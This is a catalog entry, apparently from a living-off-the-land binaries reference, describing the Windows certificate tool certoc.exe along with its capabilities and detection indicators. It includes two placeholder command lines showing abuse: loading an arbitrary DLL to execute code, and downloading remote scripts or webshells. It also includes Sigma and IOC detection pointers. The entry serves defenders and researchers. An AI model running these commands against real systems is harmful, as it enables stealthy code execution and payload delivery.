windows enabled community high v1.0.0

certoc

Used for installing certificates Located at: c:\windows\system32\certoc.exe; c:\windows\syswow64\certoc.exe.

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certoc
certoc

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: network_trafficprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Loads the target DLL file (Execute code within DLL file)

certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}

Downloads text formatted files (Download scripts, webshells etc.)

certoc.exe -GetCACAPS {REMOTEURL:.ps1}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
ioc Process creation with given parameter
ioc Unsigned DLL load via certoc.exe
ioc Network connection via certoc.exe

Documentation

certoc

certoc is a Windows LOLBin. Used for installing certificates Located at: c:\windows\system32\certoc.exe; c:\windows\syswow64\certoc.exe.

References